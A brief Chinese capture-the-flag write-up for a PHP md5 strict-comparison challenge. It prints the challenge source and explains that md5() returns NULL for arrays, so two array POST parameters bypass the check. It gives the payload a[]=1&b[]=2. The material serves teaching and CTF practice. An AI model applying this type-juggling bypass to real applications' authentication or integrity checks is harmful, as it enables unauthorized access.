ApachePHP/5.4.45md5()
0x01 源码
<?phpinclude("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}
强比较md5类型题目,md5函数处理数组会返回NULL,两个NULL即相等
0x02 Payload
a[]=1&b[]=2
